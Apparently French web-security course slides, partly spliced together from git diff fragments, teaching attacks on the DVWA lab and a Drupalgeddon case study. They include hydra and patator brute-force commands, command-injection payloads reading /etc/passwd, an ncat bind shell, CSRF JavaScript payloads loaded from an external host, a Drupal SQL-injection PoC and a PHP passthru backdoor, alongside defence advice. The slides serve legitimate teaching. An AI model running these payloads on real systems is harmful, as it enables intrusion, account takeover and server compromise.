* [<i class="fa fa-desktop"></i> Se protéger avec de bons mots de passe](http://doc.m4z3.me/_/bpu/se_proteger_avec_de_bons_mots_de_passe.htm#/cover)
* [<i class="fa fa-video-camera"></i> Se protéger avec de bons mots de passe](http://webtv.u-clermont1.fr/media-MEDIA150410174414391)
* mettre en place en deuxième facteur d'authentification
* mettre en place un deuxième facteur d'authentification
* utiliser la crypto asymétrique
## Browsers
![Browsers](images/browsers/main-desktop-browser-logos.png "Browsers")
## Stats
[![Stats 08/2024](images/browsers/stats-browser-08-2024.png "Stats 08/2024")](https://en.wikipedia.org/wiki/Usage_share_of_web_browsers)
## Browser
<quote>
Un navigateur web est un logiciel conçu pour consulter et afficher le World Wide Web. Techniquement, c'est au minimum un client HTTP.
</quote>
* [Navigateur web](https://fr.wikipedia.org/wiki/Navigateur_web)
* [moz://a > L’histoire des navigateurs web](https://www.mozilla.org/fr/firefox/browsers/browser-history/)
Dans la plupart des cas un navigateur embarque un interpréteur [javascript](js.html): ce qui induit quelque garde fous ...
\ No newline at end of file
# Brute Force
## AKA burning cpu
### <i class="fas fa-cogs"></i> force brute
* par dictionnaires
* liste d'utilisateurs + liste de mots de passe
* optimisable avec
* de la probabilité
* [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt)
* de l'ingénieurie sociale
* du flaire etc ...
### <i class="fas fa-cogs"></i> force brute
* par recherche
* combinatoire
* hybride
* décliner via des règles les propositions d'un dictionnaire
* ["leetspeakation"](https://fr.wikipedia.org/wiki/Leet_speak) automatique
* [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
### <i class="fa-solid fa-bomb"></i> Brute force / low
extract rockyou.txt
```bash
cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz
```
```bash
export security=low
export PHPSESSID=esiff3kfto23f7uit3vr90jks4
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
dv.wa \
http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
```
### <i class="fa-solid fa-bomb"></i> Brute force / medium
* `sleep(2)` : Un peu plus long.
```shell
export security=medium
export PHPSESSID=esiff3kfto23f7uit3vr90jks4
```
```shell
patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 --rate-limit=2 timeout=10 \
url="http://dv.wa/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
0=/usr/share/wordlists/rockyou.txt \
header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
resolve="dv.wa:172.16.76.146" \
-x ignore:fgrep='Username and/or password incorrect.'
```
* [patator](https://github.com/lanjelot/patator)
* resolv= -> [buggy version](https://bytemeta.vip/repo/lanjelot/patator/issues/174)
### <i class="fa-solid fa-bomb"></i> Brute force / high
capturer la soumission du formulaire
![capturer la soumission du formulaire dans Proxy](images/authentication/dvwa-auth-high-capture-request.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
envoyer la requête dans *Intruder*
![envoyer la requête dans Intruder](images/authentication/dvwa-auth-high-send-intruder.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Intruder*
* *attack type* -> *pitchfork*
* ne laisser que password et user_token en paramètres
![Intruder configuré](images/authentication/dvwa-auth-high-intruder-clean.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Payloads*
* *Payload set*: 1 (mot de passe) -> *Simple list*
* *Payload settings [Simple list]* -> *load* -> */usr/share/wordslists/fasttrack.txt*
![Intruder / mot de passe](images/authentication/dvwa-auth-high-simple-list.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Grep - Extract* -> *add*
![Intruder / token](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Redirections* -> *always*
![Intruder / folow redirect](images/authentication/dvwa-auth-high-follow-redirect.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Resource pool*
* cocher *create new resource pool*
![Intruder / Ressource](images/authentication/dvwa-auth-high-ressources.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" -->
### <i class="fas fa-cogs"></i> force brute offline
* Dépend de la puissance de calcul
* Non furtive
* Reproductible
### <i class="fas fa-cogs"></i> force brute offline
* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
* monde windows
* fichiers SAM
* fonctionne avec des [dictionnaires](http://ophcrack.sourceforge.net/tables.php)
* <i class="fa fa-gift"></i> <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=224">obtenir le pass d'un compte windows en moins de 10 minutes</a>
* [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
### <i class="fas fa-cogs"></i> force brute offline
* [John the Ripper](http://www.openwall.com/john/)
* monde UNIX/BSD
* fichier /etc/passwd + /etc/shadow
* mangling rules: leet speak, custom ...
```shell
unshadow /etc/passwd /etc/shadow > mypasswd
```
* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
### <i class="fas fa-cogs"></i> force brute rainbow table
* [CrackStation](https://crackstation.net/)
* avec la signature de smithy dans la table user
```shell
5f4dcc3b5aa765d61d8327deb882cf99
```
### <i class="fa fa-medkit"></i> Se protéger
* instaurer des règles de durcissement au moment du choix du mot de passe
* pas contournable côté client ;)
* mettre un nombre d'essais maximum consécutifs
* plugin anti brute force
* wordpress
* drupal
* compléter par des restrictions par IP, voir par blocs d'IPs
* sensibilisez vos utilisateurs
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha)
* Security level: low
* action configurée en 2 étapes
* Etape 1
* validation du captcha
* Etape 2
* exécution de l'action
* en modifiant le paramètre step à 2 on bypass le captcha
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
* Security level: medium
* action configurée en 3 étapes
* Etape 1
* validation du captcha
* Etape 2
* Confirmation de l'action
* Etape 3
* exécution de l'action
* en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha
## <i class="fa fa-medkit"></i> Se préserver
* Côté client
* [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner
* [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site
* [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de sites non sûrs
* [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif
......@@ -3,23 +3,35 @@
## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### [security low](http://dv.wa/vulnerabilities/exec/)
### <i class="fas fa-cogs"></i> CMDi
* paramètres non filtrés
* la commande est écrite en dur
* exécution de commandes arbitraires sur le serveur
* exécutée avec les droits du serveur (thread)
* exécution de commandes arbitraires sur le serveur
* triviale mais assez rare
### [security low](http://dv.wa/vulnerabilities/exec/)
### <i class="fa-solid fa-bomb"></i> CMDi / low
* paramètre non filtré
* la commande est écrite en dur
* **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions
* exécutée avec les droits du serveur (thread)
* Unix
* Pipeline
* redirection la sortie standard: **|**
* redirection la sortie d'erreur: **|&**
* List
* séparateur de commande: **;**
* arrière plan: **&**
* et logique: **&&**
* ou logique: **||**
### <i class="fa-solid fa-bomb"></i> CMDi / low
```shell
localhost && ls
localhost; whoami
localhost| id
; whoami
localhost | id
```
* le réseau est également explorable
......@@ -40,18 +52,18 @@ Note:
- DVWA Security -> medium
### [security medium](http://dv.wa/vulnerabilities/exec/)
### <i class="fa-solid fa-bomb"></i> CMDi / medium
les chaînes de caractères "&&" et ";" sont interdites
```shell
# Pour y voir plus clair
1 | ls
localhost | ls
# Plus intéressant
1 | pwd & whoami & ps
1 | uname -a & users & id & w
1 | cat /etc/group
1 | cat /etc/passwd
localhost | pwd & whoami & ps
localhost | uname -a & users & id & w
localhost | cat /etc/group
localhost | cat /etc/passwd
```
Note:
......@@ -78,7 +90,17 @@ Note:
- DVWA Security -> high
### [security high](http://dv.wa/vulnerabilities/exec/)
### <i class="fa-solid fa-bomb"></i> CMDi / high
```shell
localhost|ls
```
Note:
-détailler l'expression régulière
### <i class="fa-solid fa-bomb"></i> CMDi / impossible
* l'approche est ici différente
* on ne cherche plus à éliminer les caractères dangereux
......@@ -92,21 +114,27 @@ Note:
-détailler l'expression régulière
## bind shell
### <i class="fas fa-cogs"></i> bind shell
* ex netcat
```shell
sudo apt install ncat
```
* injecter
```shell
1 | netcat -v -e '/bin/bash' -l -p 1337
1 | ncat -v -e '/bin/bash' -l -p 8080
```
* puis sur le terminal de l'attaquant
```shell
netcat -v dv.wa 1337
ncat -v dv.wa 8080
```
* \o/ nous disposons d'un accès distant à la machine
* \o/ accès distant à la machine
* avec les permissions de l'utilisateur www-data
Note:
......@@ -122,14 +150,14 @@ Note:
- et netcat peu avoir été supprimé
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> Se préserver
* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
* [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
* [<i class="fab fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fab fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
Note:
- faire marcher le bon sens
......@@ -137,8 +165,8 @@ Note:
- utiliser le cron system
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> Se préserver
* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
* ne pas installer `netccat` ...
* ne pas installer `netcat` ...
# CSP
## a.k.a. Content Security Policy
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
* En-tête renvoyée côté serveur
* protéger son contenu
* protéger ses utilisateurs
* possibilité de reporting
* quelles tentatives ont été menées
* https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
```http
Content-Security-Policy:
script-src 'self' https://apis.google.com;
frame-src 'none'
```
* informera le browser que
* seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
* les balises iframes ne doivent pas être interprétées
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
![CSP](images/xss/csp.png "CSP")<!-- .element style="text-align: center" -->
* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)
Note:
- couvre le cas d'un XSS js dans une balise src
- couvre également le cas d'une iframe qui recouvre une page légitime
### <i class="fa-solid fa-bomb"></i> CSP / low
```http
Content-Security-Policy:
script-src 'self' https://pastebin.com hastebin.com
www.toptal.com example.com code.jquery.com
```
* écriture d'un fichier js sur l'hôte local via une autre faille [upload](upload.html) par exemple
### <i class="fa-solid fa-bomb"></i> CSP / low
* exécution directement sur [https://pastebin.com/raw/SAB3JTJc](https://pastebin.com/raw/SAB3JTJc)
* réponse pastebin
```http
...
X-Content-Type-Options: nosniff
...
```
### <i class="fa-solid fa-bomb"></i> CSP / low
* ne fonctionne pas depuis Firefox 72
* l'entête [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) force la désactivation du [MIME sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing)
* https://www.komodosec.com/post/mime-sniffing-xss
* https://medium.com/@puneet29/what-is-mime-sniffing-4f402d303dc8
# CSRF
## aka Cross-Site Request Forgery
### <i class="fas fa-cogs"></i> CSRF
* affecte toute ressource disponible directement
* sans étape intermédiaire
* avec authentification
* usurpation de session
* ou pas
* redirection arbitraire
### <i class="fas fa-cogs"></i> CSRF
![alt text](images/csrf/csrf.png "CSRF")
Note:
- rappel ici mail, mais aussi
- XSS
- lien déguisé
- url shortner
### <i class="fas fa-ice-cream"></i> CSRF / types
* urls / formulaires forgés relayés via [XSS](xss.html)
* redirections arbitraires relayés via [XSS](xss.html)
* social engineering
* initulé de lien malicieux
* url shortner
* phishing
* par mail
* par [XSS stored](xss.html)
### <i class="fa-solid fa-bomb"></i> CSRF / payload
* le but est de rediriger un utilisateur vers une url
* à l'insu de son plein gré
* exécuter des opérations avec les permissions d'un autre utilisateur
* envoyer du spam (de commentaire)
Note:
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- spam de commentaire
- urls connues (CMS, ...)
### <i class="fa-solid fa-bomb"></i> CSRF / low
```
New password: pipo
Confirm new password: pipo
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
* via GET en injectant
```http
<iframe
src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
height="0" width="0" style="border:0;">
</iframe>
```
* possible via POST avec en scriptant
```http
<form action="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
onload="document.getElementById('formid').submit();">
<input type="hidden" name="password_new" value="1337"/>
<input type="hidden" name="password_conf" value="1337"/>
</form>
```
Note:
- analyser la requête de changement de mot de passe avec burp
- forger une url
- forger un form
- injecter via XSS stored par exemple
- problème de l'action silencieuse et aveugle
- on ne sait pas sur qui ca marche
- si on a une liste des utilisateurs du site le brute force est un option
### <i class="fa-solid fa-bomb"></i> CSRF / medium
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
```
That request didn't look correct.
```
<small>comparaison requête forgée VS légitime <i class="fa-solid fa-right-long"></i> filtrage par referer</small>
```
if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {
```
<i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite**
```
Referer: http://dv.wa/
```
<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://dv.wa/vulnerabilities/xss_s)
```
Name: CSFR
Message: <img src="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />
```
### <i class="fa-solid fa-bomb"></i> CSRF / high
* **session token** dans un nouveau champs caché du formulaire
```
<input
type="hidden"
name="user_token"
value="840473d541a2e5e4b28e39cc31762f9d">
```
* le **session token** peut aussi se trouver dans l'url
* éventuellement salaison propre à l'utilisateur
* IP, user-agent
* ajout d'entropie
### <i class="fas fa-medkit"></i> CSRF / high / session token
![alt text](images/csrf/csrf-stp.png "CSRF")
### <i class="fa-solid fa-bomb"></i> CSRF / high
<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small>
<i class="fa-solid fa-lightbulb"></i> procéder en 2 temps
1. récupérer la valeur du session token
2. jouer la requête CSRF avec le session token
Possible via une [XSS](XSS.html) (mais cassé)
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload js
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js](https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js)</small>
```
function getToken() {
var token='&user_token='
+ document
.getElementById("get_token")
.contentDocument
.getElementsByName("user_token")[0]
.value;
var link = "http://dv.wa/"
+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+ token;
document.getElementById("play_CSRF").src=link;
}
```
<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur dv.wa
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS
<i class="fa-solid fa-lightbulb"></i> cacher les iframes
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
id="get_token"
src="http://dv.wa/vulnerabilities/csrf/"
onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html)
<i class="fa-solid fa-triangle-exclamation"></i> A jouer dans [XSS / high](XSS.html)
### <i class="fa-solid fa-bomb"></i> CSRF / high / xhr / payload
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js](https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js)</small>
```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://dv.wa/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://dv.wa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
```
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html)
### <i class="fa fa-medkit"></i> CSRF / Se préserver
* **Fausses Bonnes Idées**
* utiliser la méthode POST
* vérifier le referer (ou n'importe quelle autre en-tête)
* Session token
* Double Submit Pattern
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* adapté à une utilisation massive de JS
* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
```js
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
expires=Thu, 23-Jul-2015 10:25:33 GMT;
Max-Age=31449600;
Path=/
```
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
```js
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
```
* Le serveur vérifie la validité du token
* [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
\ No newline at end of file
......@@ -78,7 +78,7 @@ Note:
* la malformation des paquets réseaux bas niveau nécessite les droits de root
## [nmap](https://nmap.org/)
<!--## [nmap](https://nmap.org/)
* -sV détection de la version des services
* teste le service attendu
......@@ -87,8 +87,8 @@ Note:
* nudge packets - malformés
* -p spécifie le port / le range de port
* -p- TOUS les ports
-->
<!--
## [nmap](https://nmap.org/)
* -sC passe les scripts non intrusifs
......@@ -108,8 +108,7 @@ Note:
- [nessus](http://www.tenable.com/products/nessus-vulnerability-scanner)
- [w3af](http://w3af.org/)
- [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) en scanner de vulnaérbilité
-->
## Analyse de code / client side
* Signatures de CMS
......@@ -163,35 +162,13 @@ Note:
* [Wappalyzer](http://wappalyzer.com)
* [BlindElephant Web Application Fingerprinter](http://blindelephant.sourceforge.net/)
* [Supporter par Qualys](http://www.qualys.com/blindelephant)
* <i class="fa fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap)
* [CMS Detector](http://guess.scritch.org/)
* <i class="fab fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap)
* [CMS explorer](https://hackertarget.com/cms-explorer/)
* [Ermis CMS Security Scanner](https://addons.mozilla.org/fr/firefox/addon/ermis-cms-security-scanner/)
* spécialisés
* [WPScan](http://wpscan.org/)
* inclus les plugins vulnérables
## Gestion de sessions
* [SID](http://php.net/manual/fr/session.idpassing.php)
* copier le SID ouvre une session
* /server-status [mod_status](https://httpd.apache.org/docs/2.4/mod/mod_status.html)
* cookie
* copier le cookie ouvre une session
* regarder s'il y d'autres paramètres
* SID prédictibles?
* patterns triviaux
* la recherche de non [entropie](https://fr.wikipedia.org/wiki/Entropie_de_Shannon)
* tomber sur une session en cours
Note:
- paramètre dans cookie cf TP
- [Entropy analysis tools](http://sourceforge.net/p/entropyanalysis/code/ci/master/tree/)
- [Entropy analysis tools](https://github.com/ulikoehler/entropy-analysis-tools)
- toujours le même résultat : entropie nulle
## Spidering
* Arborescence
......@@ -282,6 +259,24 @@ Note:
- trouve le phpmyadmin
## [<i class="fab fa-github"></i> patator](https://github.com/lanjelot/patator)
* [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README)
* Brute force en tout genre
* Fuzzing http
* on peut tester tous les paths de FILE
* avec tous les rep de FILE0
* tous les noms de fichiers de FILE1
* toutes les extensions de fichiers FILE2
<pre><code data-stream class="hljs bash" style="font-size: 14px">patator.py http_fuzz url=http://client/FILE0/FILE1FILE2 0=paths.txt 1=files.txt 2=exts.txt --ignore=404</code></pre>
<small>[<i class="fa fa-film"></i> Patator -- Brute-Force Attack And Dns Reverse And Forward Lookup](http://www.securitytube.net/video/7060)</small>
Note:
- utilisation dans burp possible aussi
## Fuzzing
* Fuzzing
......@@ -303,7 +298,7 @@ Note:
* des codes http inattendus
* tout ce qui se différencie du cas normal
#### [<i class="fa fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing
#### [<i class="fab fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing
Note:
- mode comparaison de burb
......@@ -311,37 +306,6 @@ Note:
- spidering VS guessing
## [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
* Produit [OWASP](https://www.owasp.org)
* Copie en locale
* Peut spécifier
* une liste de pattern
* du brute force pure
* itératif
* des extensions de fichiers (bak, tmp, new, ...)
<small>[Hack Like a Pro: How to Find Directories in Websites Using DirBuster](http://null-byte.wonderhowto.com/how-to/hack-like-pro-find-directories-websites-using-dirbuster-0157593/)</small>
## [<i class="fa fa-github"></i> patator](https://github.com/lanjelot/patator)
* [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README)
* Brute force en tout genre
* Fuzzing http
* on peut tester tous les paths de FILE
* avec tous les rep de FILE0
* tous les noms de fichiers de FILE1
* toutes les extensions de fichiers FILE2
<pre><code data-stream class="hljs bash" style="font-size: 14px">patator.py http_fuzz url=http://client/FILE0/FILE1FILE2 0=paths.txt 1=files.txt 2=exts.txt --ignore=404</code></pre>
<small>[<i class="fa fa-film"></i> Patator -- Brute-Force Attack And Dns Reverse And Forward Lookup](http://www.securitytube.net/video/7060)</small>
Note:
- utilisation dans burp possible aussi
## <i class="fa fa-medkit"></i> Se protéger
* Bien configurer son serveur
......
## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
## système vulnérable
* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
* le couper juste après la conf du DHCP à l'install
* à l'installation
* surtout pas d'upgrade pour garder un kernel vulnérable
**Nous disposons d'une machine vulnérable à un**
**[Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)**
## Drupal vulnérable
* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704)
```shell
$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files
```
* les images [ova sont là](https://gitlab.com/mazenovi/webSec)
## Trouver un système vulnérable sur le www
[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
## Trouver un système vulnérable sur le www
* ne filtrer que les drupal vulnérables
* [<i class="fab fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```
## La faille
* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
* Version: 7.x < 7.32
* Date: 2014-October-15
* Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
```
* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
* il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
```
* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## Exploitation manuelle
remplacer
```html
<input id="edit-name" name="name" type="text">
```
par
```html
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```
![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->
Note:
- mettre un mot de passe
## PoC
[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
```php
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```
```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```
## Admin user
* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/)
```shell
python2 drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337
```
* représente 26% d'utilisation de la faille
* industrialisé pour vendre du viagra
![viagra](images/drupalgeddon/viagra.jpg "viagra")<!-- .element class="fragment roll-in" -->
## Backdoor
rerésente 68% des attaques
Simple backdoor shell
```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
```
* [passthru()](http://php.net/manual/fr/function.passthru.php)
* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
## Backdoor
* Architecture Drupal
* menu_router
* un url = un callback + un tableau d'arguments sérialisés
```sql
insert into menu_router values ('backdoor','','','file_put_contents',
